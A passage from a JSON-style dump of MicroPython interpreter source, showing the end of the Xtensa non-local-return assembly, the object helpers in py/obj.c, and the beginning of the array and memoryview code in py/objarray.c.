&MP_STATE_THREAD(nlr_top);\n    nlr_buf_t *top = *top_ptr;\n    if (top == NULL) {\n        nlr_jump_fail(val);\n    }\n\n    top->ret_val = val;\n    *top_ptr = top->prev;\n\n    __asm volatile (\n    \"mov.n   a2, %0             \\n\" // a2 points to nlr_buf\n    \"l32i.n  a0, a2, 8          \\n\" // restore regs...\n    \"l32i.n  a1, a2, 12         \\n\"\n    \"l32i.n  a8, a2, 16         \\n\"\n    \"l32i.n  a9, a2, 20         \\n\"\n    \"l32i.n  a10, a2, 24        \\n\"\n    \"l32i.n  a11, a2, 28        \\n\"\n    \"l32i.n  a12, a2, 32        \\n\"\n    \"l32i.n  a13, a2, 36        \\n\"\n    \"l32i.n  a14, a2, 40        \\n\"\n    \"l32i.n  a15, a2, 44        \\n\"\n    \"movi.n a2, 1               \\n\" // return 1, non-local return\n    \"ret.n                      \\n\" // return\n    :                               // output operands\n    : \"r\"(top)                      // input operands\n    :                               // clobbered registers\n    );\n\n    for (;;); // needed to silence compiler warning\n}\n\n#endif // !MICROPY_NLR_SETJMP && defined(__xtensa__)\n"
  },
  {
    "path": "micropython/source/py/obj.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdarg.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/obj.h\"\n#include \"py/objtype.h\"\n#include \"py/objint.h\"\n#include \"py/objstr.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/stackctrl.h\"\n#include \"py/stream.h\" // for mp_obj_print\n\nmp_obj_type_t *mp_obj_get_type(mp_const_obj_t o_in) {\n    if (MP_OBJ_IS_SMALL_INT(o_in)) {\n        return (mp_obj_type_t*)&mp_type_int;\n    } else if (MP_OBJ_IS_QSTR(o_in)) {\n        return (mp_obj_type_t*)&mp_type_str;\n    #if MICROPY_PY_BUILTINS_FLOAT\n    } else if (mp_obj_is_float(o_in)) {\n        return (mp_obj_type_t*)&mp_type_float;\n    #endif\n    } else {\n        const mp_obj_base_t *o = MP_OBJ_TO_PTR(o_in);\n        return (mp_obj_type_t*)o->type;\n    }\n}\n\nconst char *mp_obj_get_type_str(mp_const_obj_t o_in) {\n    return qstr_str(mp_obj_get_type(o_in)->name);\n}\n\nvoid mp_obj_print_helper(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    // There can be data structures nested too deep, or just recursive\n    MP_STACK_CHECK();\n#ifndef NDEBUG\n    if (o_in == MP_OBJ_NULL) {\n        mp_print_str(print, \"(nil)\");\n        return;\n    }\n#endif\n    mp_obj_type_t *type = mp_obj_get_type(o_in);\n    if (type->print != NULL) {\n        type->print((mp_print_t*)print, o_in, kind);\n    } else {\n        mp_printf(print, \"<%q>\", type->name);\n    }\n}\n\nvoid mp_obj_print(mp_obj_t o_in, mp_print_kind_t kind) {\n    mp_obj_print_helper(MP_PYTHON_PRINTER, o_in, kind);\n}\n\n// helper function to print an exception with traceback\nvoid mp_obj_print_exception(const mp_print_t *print, mp_obj_t exc) {\n    if (mp_obj_is_exception_instance(exc)) {\n        size_t n, *values;\n        mp_obj_exception_get_traceback(exc, &n, &values);\n        if (n > 0) {\n            assert(n % 3 == 0);\n            mp_print_str(print, \"Traceback (most recent call last):\\n\");\n            for (int i = n - 3; i >= 0; i -= 3) {\n#if MICROPY_ENABLE_SOURCE_LINE\n                mp_printf(print, \"  File \\\"%q\\\", line %d\", values[i], (int)values[i + 1]);\n#else\n                mp_printf(print, \"  File \\\"%q\\\"\", values[i]);\n#endif\n                // the block name can be NULL if it's unknown\n                qstr block = values[i + 2];\n                if (block == MP_QSTR_NULL) {\n                    mp_print_str(print, \"\\n\");\n                } else {\n                    mp_printf(print, \", in %q\\n\", block);\n                }\n            }\n        }\n    }\n    mp_obj_print_helper(print, exc, PRINT_EXC);\n    mp_print_str(print, \"\\n\");\n}\n\nbool mp_obj_is_true(mp_obj_t arg) {\n    if (arg == mp_const_false) {\n        return 0;\n    } else if (arg == mp_const_true) {\n        return 1;\n    } else if (arg == mp_const_none) {\n        return 0;\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        if (MP_OBJ_SMALL_INT_VALUE(arg) == 0) {\n            return 0;\n        } else {\n            return 1;\n        }\n    } else {\n        mp_obj_type_t *type = mp_obj_get_type(arg);\n        if (type->unary_op != NULL) {\n            mp_obj_t result = type->unary_op(MP_UNARY_OP_BOOL, arg);\n            if (result != MP_OBJ_NULL) {\n                return result == mp_const_true;\n            }\n        }\n\n        mp_obj_t len = mp_obj_len_maybe(arg);\n        if (len != MP_OBJ_NULL) {\n            // obj has a length, truth determined if len != 0\n            return len != MP_OBJ_NEW_SMALL_INT(0);\n        } else {\n            // any other obj is true per Python semantics\n            return 1;\n        }\n    }\n}\n\nbool mp_obj_is_callable(mp_obj_t o_in) {\n    mp_call_fun_t call = mp_obj_get_type(o_in)->call;\n    if (call != mp_obj_instance_call) {\n        return call != NULL;\n    }\n    return mp_obj_instance_is_callable(o_in);\n}\n\n// This function implements the '==' operator (and so the inverse of '!=').\n//\n// From the Python language reference:\n// (https://docs.python.org/3/reference/expressions.html#not-in)\n// \"The objects need not have the same type. If both are numbers, they are converted\n// to a common type. Otherwise, the == and != operators always consider objects of\n// different types to be unequal.\"\n//\n// This means that False==0 and True==1 are true expressions.\n//\n// Furthermore, from the v3.4.2 code for object.c: \"Practical amendments: If rich\n// comparison returns NotImplemented, == and != are decided by comparing the object\n// pointer.\"\nbool mp_obj_equal(mp_obj_t o1, mp_obj_t o2) {\n    if (o1 == o2) {\n        return true;\n    }\n    if (o1 == mp_const_none || o2 == mp_const_none) {\n        return false;\n    }\n\n    // fast path for small ints\n    if (MP_OBJ_IS_SMALL_INT(o1)) {\n        if (MP_OBJ_IS_SMALL_INT(o2)) {\n            // both SMALL_INT, and not equal if we get here\n            return false;\n        } else {\n            mp_obj_t temp = o2; o2 = o1; o1 = temp;\n            // o2 is now the SMALL_INT, o1 is not\n            // fall through to generic op\n        }\n    }\n\n    // fast path for strings\n    if (MP_OBJ_IS_STR(o1)) {\n        if (MP_OBJ_IS_STR(o2)) {\n            // both strings, use special function\n            return mp_obj_str_equal(o1, o2);\n        } else {\n            // a string is never equal to anything else\n            goto str_cmp_err;\n        }\n    } else if (MP_OBJ_IS_STR(o2)) {\n        // o1 is not a string (else caught above), so the objects are not equal\n    str_cmp_err:\n        #if MICROPY_PY_STR_BYTES_CMP_WARN\n        if (MP_OBJ_IS_TYPE(o1, &mp_type_bytes) || MP_OBJ_IS_TYPE(o2, &mp_type_bytes)) {\n            mp_warning(\"Comparison between bytes and str\");\n        }\n        #endif\n        return false;\n    }\n\n    // generic type, call binary_op(MP_BINARY_OP_EQUAL)\n    mp_obj_type_t *type = mp_obj_get_type(o1);\n    if (type->binary_op != NULL) {\n        mp_obj_t r = type->binary_op(MP_BINARY_OP_EQUAL, o1, o2);\n        if (r != MP_OBJ_NULL) {\n            return r == mp_const_true ? true : false;\n        }\n    }\n\n    // equality not implemented, and objects are not the same object, so\n    // they are defined as not equal\n    return false;\n}\n\nmp_int_t mp_obj_get_int(mp_const_obj_t arg) {\n    // This function essentially performs implicit type conversion to int\n    // Note that Python does NOT provide implicit type conversion from\n    // float to int in the core expression language, try some_list[1.0].\n    if (arg == mp_const_false) {\n        return 0;\n    } else if (arg == mp_const_true) {\n        return 1;\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        return MP_OBJ_SMALL_INT_VALUE(arg);\n    } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) {\n        return mp_obj_int_get_checked(arg);\n    } else {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"can't convert to int\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"can't convert %s to int\", mp_obj_get_type_str(arg)));\n        }\n    }\n}\n\nmp_int_t mp_obj_get_int_truncated(mp_const_obj_t arg) {\n    if (MP_OBJ_IS_INT(arg)) {\n        return mp_obj_int_get_truncated(arg);\n    } else {\n        return mp_obj_get_int(arg);\n    }\n}\n\n// returns false if arg is not of integral type\n// returns true and sets *value if it is of integral type\n// can throw OverflowError if arg is of integral type, but doesn't fit in a mp_int_t\nbool mp_obj_get_int_maybe(mp_const_obj_t arg, mp_int_t *value) {\n    if (arg == mp_const_false) {\n        *value = 0;\n    } else if (arg == mp_const_true) {\n        *value = 1;\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        *value = MP_OBJ_SMALL_INT_VALUE(arg);\n    } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) {\n        *value = mp_obj_int_get_checked(arg);\n    } else {\n        return false;\n    }\n    return true;\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mp_obj_get_float(mp_obj_t arg) {\n    if (arg == mp_const_false) {\n        return 0;\n    } else if (arg == mp_const_true) {\n        return 1;\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        return MP_OBJ_SMALL_INT_VALUE(arg);\n    #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n    } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) {\n        return mp_obj_int_as_float_impl(arg);\n    #endif\n    } else if (mp_obj_is_float(arg)) {\n        return mp_obj_float_get(arg);\n    } else {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"can't convert to float\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"can't convert %s to float\", mp_obj_get_type_str(arg)));\n        }\n    }\n}\n\n#if MICROPY_PY_BUILTINS_COMPLEX\nvoid mp_obj_get_complex(mp_obj_t arg, mp_float_t *real, mp_float_t *imag) {\n    if (arg == mp_const_false) {\n        *real = 0;\n        *imag = 0;\n    } else if (arg == mp_const_true) {\n        *real = 1;\n        *imag = 0;\n    } else if (MP_OBJ_IS_SMALL_INT(arg)) {\n        *real = MP_OBJ_SMALL_INT_VALUE(arg);\n        *imag = 0;\n    #if MICROPY_LONGINT_IMPL != MICROPY_LONGINT_IMPL_NONE\n    } else if (MP_OBJ_IS_TYPE(arg, &mp_type_int)) {\n        *real = mp_obj_int_as_float_impl(arg);\n        *imag = 0;\n    #endif\n    } else if (mp_obj_is_float(arg)) {\n        *real = mp_obj_float_get(arg);\n        *imag = 0;\n    } else if (MP_OBJ_IS_TYPE(arg, &mp_type_complex)) {\n        mp_obj_complex_get(arg, real, imag);\n    } else {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"can't convert to complex\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"can't convert %s to complex\", mp_obj_get_type_str(arg)));\n        }\n    }\n}\n#endif\n#endif\n\n// note: returned value in *items may point to the interior of a GC block\nvoid mp_obj_get_array(mp_obj_t o, size_t *len, mp_obj_t **items) {\n    if (MP_OBJ_IS_TYPE(o, &mp_type_tuple)) {\n        mp_obj_tuple_get(o, len, items);\n    } else if (MP_OBJ_IS_TYPE(o, &mp_type_list)) {\n        mp_obj_list_get(o, len, items);\n    } else {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"expected tuple/list\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"object '%s' is not a tuple or list\", mp_obj_get_type_str(o)));\n        }\n    }\n}\n\n// note: returned value in *items may point to the interior of a GC block\nvoid mp_obj_get_array_fixed_n(mp_obj_t o, size_t len, mp_obj_t **items) {\n    size_t seq_len;\n    mp_obj_get_array(o, &seq_len, items);\n    if (seq_len != len) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_ValueError(\"tuple/list has wrong length\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_ValueError,\n                \"requested length %d but object has length %d\", (int)len, (int)seq_len));\n        }\n    }\n}\n\n// is_slice determines whether the index is a slice index\nsize_t mp_get_index(const mp_obj_type_t *type, size_t len, mp_obj_t index, bool is_slice) {\n    mp_int_t i;\n    if (MP_OBJ_IS_SMALL_INT(index)) {\n        i = MP_OBJ_SMALL_INT_VALUE(index);\n    } else if (!mp_obj_get_int_maybe(index, &i)) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"indices must be integers\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"%q indices must be integers, not %s\",\n                type->name, mp_obj_get_type_str(index)));\n        }\n    }\n\n    if (i < 0) {\n        i += len;\n    }\n    if (is_slice) {\n        if (i < 0) {\n            i = 0;\n        } else if ((mp_uint_t)i > len) {\n            i = len;\n        }\n    } else {\n        if (i < 0 || (mp_uint_t)i >= len) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_msg(&mp_type_IndexError, \"index out of range\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_IndexError,\n                    \"%q index out of range\", type->name));\n            }\n        }\n    }\n\n    // By this point 0 <= i <= len and so fits in a size_t\n    return (size_t)i;\n}\n\nmp_obj_t mp_obj_id(mp_obj_t o_in) {\n    mp_int_t id = (mp_int_t)o_in;\n    if (!MP_OBJ_IS_OBJ(o_in)) {\n        return mp_obj_new_int(id);\n    } else if (id >= 0) {\n        // Many OSes and CPUs have affinity for putting \"user\" memories\n        // into low half of address space, and \"system\" into upper half.\n        // We're going to take advantage of that and return small int\n        // (signed) for such \"user\" addresses.\n        return MP_OBJ_NEW_SMALL_INT(id);\n    } else {\n        // If that didn't work, well, let's return long int, just as\n        // a (big) positive value, so it will never clash with the range\n        // of small int returned in previous case.\n        return mp_obj_new_int_from_uint((mp_uint_t)id);\n    }\n}\n\n// will raise a TypeError if object has no length\nmp_obj_t mp_obj_len(mp_obj_t o_in) {\n    mp_obj_t len = mp_obj_len_maybe(o_in);\n    if (len == MP_OBJ_NULL) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object has no len\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"object of type '%s' has no len()\", mp_obj_get_type_str(o_in)));\n        }\n    } else {\n        return len;\n    }\n}\n\n// may return MP_OBJ_NULL\nmp_obj_t mp_obj_len_maybe(mp_obj_t o_in) {\n    if (\n#if !MICROPY_PY_BUILTINS_STR_UNICODE\n        // It's simple - unicode is slow, non-unicode is fast\n        MP_OBJ_IS_STR(o_in) ||\n#endif\n        MP_OBJ_IS_TYPE(o_in, &mp_type_bytes)) {\n        GET_STR_LEN(o_in, l);\n        return MP_OBJ_NEW_SMALL_INT(l);\n    } else {\n        mp_obj_type_t *type = mp_obj_get_type(o_in);\n        if (type->unary_op != NULL) {\n            return type->unary_op(MP_UNARY_OP_LEN, o_in);\n        } else {\n            return MP_OBJ_NULL;\n        }\n    }\n}\n\nmp_obj_t mp_obj_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t value) {\n    mp_obj_type_t *type = mp_obj_get_type(base);\n    if (type->subscr != NULL) {\n        mp_obj_t ret = type->subscr(base, index, value);\n        if (ret != MP_OBJ_NULL) {\n            return ret;\n        }\n        // TODO: call base classes here?\n    }\n    if (value == MP_OBJ_NULL) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object does not support item deletion\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"'%s' object does not support item deletion\", mp_obj_get_type_str(base)));\n        }\n    } else if (value == MP_OBJ_SENTINEL) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object is not subscriptable\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"'%s' object is not subscriptable\", mp_obj_get_type_str(base)));\n        }\n    } else {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"object does not support item assignment\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"'%s' object does not support item assignment\", mp_obj_get_type_str(base)));\n        }\n    }\n}\n\n// Return input argument. Useful as .getiter for objects which are\n// their own iterators, etc.\nmp_obj_t mp_identity(mp_obj_t self) {\n    return self;\n}\nMP_DEFINE_CONST_FUN_OBJ_1(mp_identity_obj, mp_identity);\n\nmp_obj_t mp_identity_getiter(mp_obj_t self, mp_obj_iter_buf_t *iter_buf) {\n    (void)iter_buf;\n    return self;\n}\n\nbool mp_get_buffer(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    mp_obj_type_t *type = mp_obj_get_type(obj);\n    if (type->buffer_p.get_buffer == NULL) {\n        return false;\n    }\n    int ret = type->buffer_p.get_buffer(obj, bufinfo, flags);\n    if (ret != 0) {\n        return false;\n    }\n    return true;\n}\n\nvoid mp_get_buffer_raise(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags) {\n    if (!mp_get_buffer(obj, bufinfo, flags)) {\n        mp_raise_TypeError(\"object with buffer protocol required\");\n    }\n}\n\nmp_obj_t mp_generic_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    switch (op) {\n        case MP_UNARY_OP_HASH: return MP_OBJ_NEW_SMALL_INT((mp_uint_t)o_in);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n"
  },
  {
    "path": "micropython/source/py/objarray.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n * Copyright (c) 2014 Paul Sokolovsky\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n#include <stdint.h>\n\n#include \"py/nlr.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/binary.h\"\n#include \"py/objstr.h\"\n#include \"py/objarray.h\"\n\n#if MICROPY_PY_ARRAY || MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_BUILTINS_MEMORYVIEW\n\n// About memoryview object: We want to reuse as much code as possible from\n// array, and keep the memoryview object 4 words in size so it fits in 1 GC\n// block.  Also, memoryview must keep a pointer to the base of the buffer so\n// that the buffer is not GC'd if the original parent object is no longer\n// around (we are assuming that all memoryview'able objects return a pointer\n// which points to the start of a GC chunk).  Given the above constraints we\n// do the following:\n//  - typecode high bit is set if the buffer is read-write (else read-only)\n//  - free is the offset in elements to the first item in the memoryview\n//  - len is the length in elements\n//  - items points to the start of the original buffer\n// Note that we don't handle the case where the original buffer might change\n// size due to a resize of the original parent object.\n\n// make (& TYPECODE_MASK) a null operation if memorview not enabled\n#if MICROPY_PY_BUILTINS_MEMORYVIEW\n#define TYPECODE_MASK (0x7f)\n#else\n#define TYPECODE_MASK (~(size_t)0)\n#endif\n\nSTATIC mp_obj_t array_iterator_new(mp_obj_t array_in, mp_obj_iter_buf_t *iter_buf);\nSTATIC mp_obj_t array_append(mp_obj_t self_in, mp_obj_t arg);\nSTATIC mp_obj_t array_extend(mp_obj_t self_in, mp_obj_t arg_in);\nSTATIC mp_int_t array_get_buffer(mp_obj_t o_in, mp_buffer_info_t *bufinfo, mp_uint_t flags);\n\n/******************************************************************************/\n// array\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY\nSTATIC void array_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in);\n    if (o->typecode == BYTEARRAY_TYPECODE) {\n        mp_print_str(print, \"bytearray(b\");\n        mp_str_print_quoted(print, o->items, o->len, true);\n    } else {\n        mp_printf(print, \"array('%c'\", o->typecode);\n        if (o->len > 0) {\n            mp_print_str(print, \", [\");\n            for (size_t i = 0; i < o->len; i++) {\n                if (i > 0) {\n                    mp_print_str(print, \", \");\n                }\n                mp_obj_print_helper(print, mp_binary_get_val_array(o->typecode, o->items, i), PRINT_REPR);\n            }\n            mp_print_str(print, \"]\");\n        }\n    }\n    mp_print_str(print, \")\");\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY\nSTATIC mp_obj_array_t *array_new(char typecode, size_t n) {\n    int typecode_size = mp_binary_get_size('@', typecode, NULL);\n    mp_obj_array_t *o = m_new_obj(mp_obj_array_t);\n    #if MICROPY_PY_BUILTINS_BYTEARRAY && MICROPY_PY_ARRAY\n    o->base.type = (typecode == BYTEARRAY_TYPECODE) ? &mp_type_bytearray : &mp_type_array;\n    #elif MICROPY_PY_BUILTINS_BYTEARRAY\n    o->base.type = &mp_type_bytearray;\n    #else\n    o->base.type = &mp_type_array;\n    #endif\n    o->typecode = typecode;\n    o->free = 0;\n    o->len = n;\n    o->items = m_new(byte, typecode_size * o->len);\n    return o;\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY || MICROPY_PY_ARRAY\nSTATIC mp_obj_t array_construct(char typecode, mp_obj_t initializer) {\n    // bytearrays can be raw-initialised from anything with the buffer protocol\n    // other arrays can only be raw-initialised from bytes and bytearray objects\n    mp_buffer_info_t bufinfo;\n    if (((MICROPY_PY_BUILTINS_BYTEARRAY\n            && typecode == BYTEARRAY_TYPECODE)\n        || (MICROPY_PY_ARRAY\n            && (MP_OBJ_IS_TYPE(initializer, &mp_type_bytes)\n                || (MICROPY_PY_BUILTINS_BYTEARRAY && MP_OBJ_IS_TYPE(initializer, &mp_type_bytearray)))))\n        && mp_get_buffer(initializer, &bufinfo, MP_BUFFER_READ)) {\n        // construct array from raw bytes\n        // we round-down the len to make it a multiple of sz (CPython raises error)\n        size_t sz = mp_binary_get_size('@', typecode, NULL);\n        size_t len = bufinfo.len / sz;\n        mp_obj_array_t *o = array_new(typecode, len);\n        memcpy(o->items, bufinfo.buf, len * sz);\n        return MP_OBJ_FROM_PTR(o);\n    }\n\n    size_t len;\n    // Try to create array of exact len if initializer len is known\n    mp_obj_t len_in = mp_obj_len_maybe(initializer);\n    if (len_in == MP_OBJ_NULL) {\n        len = 0;\n    } else {\n        len = MP_OBJ_SMALL_INT_VALUE(len_in);\n    }\n\n    mp_obj_array_t *array = array_new(typecode, len);\n\n    mp_obj_t iterable = mp_getiter(initializer, NULL);\n    mp_obj_t item;\n    size_t i = 0;\n    while ((item = mp_iternext(iterable)) != MP_OBJ_STOP_ITERATION) {\n        if (len == 0) {\n            array_append(MP_OBJ_FROM_PTR(array), item);\n        } else {\n            mp_binary_set_val_array(typecode, array->items, i++, item);\n        }\n    }\n\n    return MP_OBJ_FROM_PTR(array);\n}\n#endif\n\n#if MICROPY_PY_ARRAY\nSTATIC mp_obj_t array_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 1, 2, false);\n\n    // get typecode\n    const char *typecode = mp_obj_str_get_str(args[0]);\n\n    if (n_args == 1) {\n        // 1 arg: make an empty array\n        return MP_OBJ_FROM_PTR(array_new(*typecode, 0));\n    } else {\n        // 2 args: construct the array from the given object\n        return array_construct(*typecode, args[1]);\n    }\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_BYTEARRAY\nSTATIC mp_obj_t bytearray_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    if (n_args == 0) {\n        // no args: construct an empty bytearray\n        return MP_OBJ_FROM_PTR(array_new(BYTEARRAY_TYPECODE, 0));\n    } else if (MP_OBJ_IS_INT(args[0])) {\n        // 1 arg, an integer: construct a blank bytearray of that length\n        mp_uint_t len = mp_obj_get_int(args[0]);\n        mp_obj_array_t *o = array_new(BYTEARRAY_TYPECODE, len);\n        memset(o->items, 0, len);\n        return MP_OBJ_FROM_PTR(o);\n    } else {\n        // 1 arg: construct the bytearray from that\n        return array_construct(BYTEARRAY_TYPECODE, args[0]);\n    }\n}\n#endif\n\n#if MICROPY_PY_BUILTINS_MEMORYVIEW\n\nmp_obj_t mp_obj_new_memoryview(byte typecode, size_t nitems, void *items) {\n    mp_obj_array_t *self = m_new_obj(mp_obj_array_t);\n    self->base.type = &mp_type_memoryview;\n    self->typecode = typecode;\n    self->free = 0;\n    self->len = nitems;\n    self->items = items;\n    return MP_OBJ_FROM_PTR(self);\n}\n\nSTATIC mp_obj_t memoryview_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n\n    // TODO possibly allow memoryview constructor to take start/stop so that one\n    // can do memoryview(b, 4, 8) instead of memoryview(b)[4:8] (uses less RAM)\n\n    mp_arg_check_num(n_args, n_kw, 1, 1, false);\n\n    mp_buffer_info_t bufinfo;\n    mp_get_buffer_raise(args[0], &bufinfo, MP_BUFFER_READ);\n\n    mp_obj_array_t *self = MP_OBJ_TO_PTR(mp_obj_new_memoryview(bufinfo.typecode,\n        bufinfo.len / mp_binary_get_size('@', bufinfo.typecode, NULL),\n        bufinfo.buf));\n\n    // test if the object can be written to\n    if (mp_get_buffer(args[0], &bufinfo, MP_BUFFER_RW)) {\n        self->typecode |= 0x80; // used to indicate writable buffer\n    }\n\n    return MP_OBJ_FROM_PTR(self);\n}\n#endif\n\nSTATIC mp_obj_t array_unary_op(mp_uint_t op, mp_obj_t o_in) {\n    mp_obj_array_t *o = MP_OBJ_TO_PTR(o_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(o->len != 0);\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(o->len);\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t array_binary_op(mp_uint_t op, mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_obj_array_t *lhs = MP_OBJ_TO_PTR(lhs_in);\n    switch (op) {\n        case MP_BINARY_OP_ADD: {\n            // allow to add anything that has the buffer protocol (extension to CPython)\n            mp_buffer_info_t lhs_bufinfo;\n            mp_buffer_info_t rhs_bufinfo;\n            array_get_buffer(lhs_in, &lhs_bufinfo, MP_BUFFER_READ);\n            mp_get_buffer_raise(rhs_in, &rhs_bufinfo, MP_BUFFER_READ);\n\n            size_t sz = mp_binary_get_size('@', lhs_bufinfo.typecode, NULL);\n\n            // convert byte count to element count (in case rhs is not multiple of sz)\n            size_t rhs_len = rhs_bufinfo.len / sz;\n\n            // note: lhs->len is element count of lhs, lhs_bufinfo.len is byte count\n            mp_obj_array_t *res = array_new(lhs_bufinfo.typecode, lhs->len + rhs_len);\n            mp_seq_cat((byte*)res->items, lhs_bufinfo.buf, lhs_bufinfo.len, rhs_bufinfo.buf, rhs_len * sz, byte);\n            return MP_OBJ_FROM_PTR(res);\n        }\n\n        case MP_BINARY_OP_INPLACE_ADD: {\n            #if MICROPY_PY_BUILTINS_MEMORYVIEW\n            if (lhs->base.type == &mp_type_memoryview) {\n                return MP_OBJ_NULL; // op not supported\n            }\n            #endif\n            array_extend(lhs_in, rhs_in);\n            return lhs_in;\n        }\n\n        case 